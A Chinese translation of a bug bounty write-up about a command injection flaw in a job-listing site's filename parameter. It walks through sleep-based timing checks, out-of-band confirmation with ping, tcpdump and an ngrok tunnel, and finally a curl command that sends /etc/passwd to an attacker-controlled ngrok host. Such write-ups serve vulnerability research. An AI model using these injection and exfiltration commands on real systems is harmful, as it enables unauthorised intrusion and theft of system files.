让我们将时间倒退到2017年12月,我在一个职位列表网站上发现了一个命令注入漏洞。以下是简单的POC,其中易受攻击的参数是filename。
我先用sleep 5
进行测试,响应延迟为5-6秒(6.113毫秒)。你可以看到右下角的延迟。
我随即用sleep 10
进行测试,看看有什么不同。响应延迟10-11秒(11.137毫秒)。延迟时间同样位于右下角。
我尝试使用命令ping -c 5 <my server IP address>
ping一下我的服务器,并运行tcpdump -i <interface> -n icmp
查看传入的ICMP数据包。ping命令意味着向我的服务器IP地址已经发送了5次ICMP数据包。
很抱歉我修改了相关细节,但您可以看到有5次传入的ICMP数据包。我的服务器IP地址是5.000.000.105,传入的ICMP数据包来自000.000.39.169。现在我知道filename参数易受命令注入攻击。
我用ngrok做了另一个测试。所以我在localhost上运行 ./ngrok http 80
,对于易受攻击的参数执行curl blablabla.ngrok.io
。
现在让我们看一下ngrok Web界面上的响应(http://127.0.0.1:4040
)。我收到了来自IP地址000.000.39.169的请求。和之前的ICMP数据包的IP地址一样!
现在我可以读取易受攻击的服务器上的文件,并使用命令curl -F shl=@/etc/passwd blablabla.ngrok.io
将其发送到我的ngrok地址。该命令意味着使用包含/etc/passwd
的shl
参数向blablabla.ngrok.io
发送POST请求。
结果是IP地址为000.000.39.169
的服务器将/ etc / passwd
发送到我的ngrok上。
以上。Happy hacking!
翻译文章:https://medium.com/bugbountywriteup/command-injection-poc-72cc3743f10d